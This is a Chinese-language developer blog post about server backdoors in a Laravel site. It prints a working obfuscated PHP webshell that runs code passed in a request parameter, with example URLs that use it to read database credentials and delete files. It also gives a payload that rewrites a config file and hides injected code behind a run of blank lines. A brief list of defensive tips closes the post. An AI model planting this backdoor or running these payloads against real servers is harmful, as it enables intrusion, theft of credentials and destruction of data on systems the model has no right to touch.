黑客、后门
着手服务器攻防问题,修复一些漏洞,写代码的人真的要注意安全问题。千万不要相信用户的输入!
展示: 首先修改电脑本地host文件。改了之后就可以用test.com虚拟域名访问本地文件了。文件目录在“C:\Windows\System32\drivers\etc”
以laravel框架为列子,在根目录创建后门文件
<?php
function config_local(){
@$conn=$_REQUEST;
return @($conn[config]);
}
@extract(array(conn=>create_function(null,config_local())));
@extract(array($cless=>$conn()));
读取数据库配置信息
https://www.test.com/hack.php?config=var_dump(include%20%20%20%27/../config/database.php%27%20);
删除文件
https://www.test.com/hack.php?config=var_dump(unlink(__DIR__.%27/../a.txt%27));
修改文件
?config=
// 读取数据库配置文件
$info=file_get_contents("Conf/db.php");
// 设置很多个换行符号
$change=str_repeat("\r\n",50);
// 用空格代替<?php
$file= str_replace("<?php","",$info);
// 你想添加的任何功能都可以写在下面
$extCode="header('location:http://www.baidu.com');";
...
// 最后组合起来,保存回去
file_put_contents("Conf/db.php","<?php".$change.$extCode.$file);
防备: 不要相信用户的输入!不要相信用户的输入!不要相信用户的输入!
在获取用户输入前一定要做过滤处理;
在服务器上,设置文件的权限,不要每个文件都可以执行脚本权限;
或者增加防篡改功能;
或者修改你服务器的安全组,修改22,21等默认端口,不要端口全开;
对整个站点进行扫描木马。
猜你喜欢
swoole 极简聊天室
阅读 1578五分钟教你写超简单的swoole聊天室
Laravel队列的实现
阅读 1754Laravel 队列的简单使用例子
Swoole 实现长连接
阅读 3007Swoole 实现长连接,心跳
在 Laravel 中集成 Swoole 实现 WebSocket 服务器
阅读 2870基于 LaravelS 扩展包把 Swoole 集成到 Laravel 项目来实现 WebSocket 服务器,以便与客户端进行 WebSocket 通信从而实现广播功能。
Laravel验证码
阅读 1026Composer生成Laravel验证码
Laravel邮箱推送
阅读 2327Laravel发送邮件
抖音接入
阅读 2392PHP 接入抖音开放平台
Git使用
阅读 931Git基本配置/服务器搭建仓库